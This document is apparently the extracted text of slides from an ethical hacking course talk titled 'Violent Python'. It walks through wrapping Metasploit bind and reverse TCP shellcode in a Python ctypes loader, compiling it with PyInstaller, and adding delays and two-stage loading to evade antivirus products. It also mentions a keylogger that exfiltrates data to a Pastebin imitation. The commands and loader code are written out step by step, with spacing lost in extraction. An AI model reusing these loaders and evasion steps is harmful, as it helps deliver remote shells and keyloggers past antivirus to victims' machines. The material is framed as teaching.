Violent Python
Violent Python
Bio
CNIT 124
Advanced Ethical Hacking
Violent Python
Good coding principles
Exception handling
Modular design
Optimization
Commenting
Flow charts
Violent Python
We are hackers
We are here to BREAK STUFF
It should be fast and easy for a
complete novice to hack together a
simple script to do something fun!
Projects
Antivirus
Ungh! Good God y'all...
Metasploit Payloads
Metasploit
Hundreds of payloads
The simplest one: bind_tcp
Listens on a TCP port for commands
Antivirus Catches It
Norton v. Shell.exe
How to
Become
007
Python v. AV
Round 1
shell_bind_tcp
Compile it on Windows
Install these things, in order
Python 2.7
PyWin32
pip-Win
PyInstaller
DEMO
On Kali
msfpayloadwindows/shell_bind_tcpC>foo
nanofoo
Change top to
fromctypesimport*
shellcode=(
Change bottom to
);
memorywithshell=create_string_buffer(shellcode,
len(shellcode))
shell=cast(memorywithshell,
CFUNCTYPE(c_void_p))
shell()
DEMO
On Windows, in pip-Win:
venvcipyienvname
pyinstalleronefilenoconsolefoo
Norton Support
I Tweeted about this, and
@NortonSupport replied
VirusTotal is not a fair test, because
real installed Norton uses Heuristic
Scanning
@NortonSupport gave me a link for a
30-day trial version :)
Norton Wins!
Kaspersky Wins!
Avast! doesn't detect it
Kaspersky detects it as
HEUR:Trojan.Win32.Generic
Python v. AV
Round 2
shell_bind_tcp
with a delay
DEMO
On Kali
cpfoofoo2
nanofoo2
x=raw_input("PressEntertocontinue")
On Windows, in pip-Win:
venvcipyienvname
pyinstalleronefilefoo2
Kaspersky Wins!
Python v. AV
Round 3
shell_bind_tcp
in two stages
no delay
Other AV
Tested on Mar 24, 2014 with a twostage reverse shell and no time delay
Al these failed
Norton
Nod32
Avast!
360 Internet Security
McAfee
Kaspersky
Remember Mikko?
F-Secure Wins!
AV Challenge
Python v. AV
Round 4
shell_bind_tcp
with a delay
INSTRUCTIONS
On Kali
msfpayloadwindows/shell_reverse_tcp
LHOST=192.168.119.252C>rev
nanorev
Change top to
x=raw_input("PressEntertocontinue")
fromctypesimport*
shellcode=(
Change bottom to
);
memorywithshell=create_string_buffer(shellcode,
len(shellcode))
shell=cast(memorywithshell,CFUNCTYPE(c_void_p))
shell()
INSTRUCTIONS
On Windows, in pip-Win:
venvcipyienvname
pyinstalleronefilerev
On Kali
nclp4444
Norton Loses
Kaspersky Wins
Advanced Malware
Protection
Python Keylogger
Google
"Python
Keylogge
r"
I used this
one from 4
years ago
Problem
Pastebin busted me for making too
many pastes in a 24-hour period
So I wrote my own Pastebin imitation
Norton WINS!
F-Secure LOSES!
PRODUCT
ANNOUNCEMENT!
samsclass.info/evil.exe
UNSTOPPABLE
None of these products stop it
Norton
McAfee
Kaspersky
Nod32
F-Secure
Avast!
Microsoft Security Essentials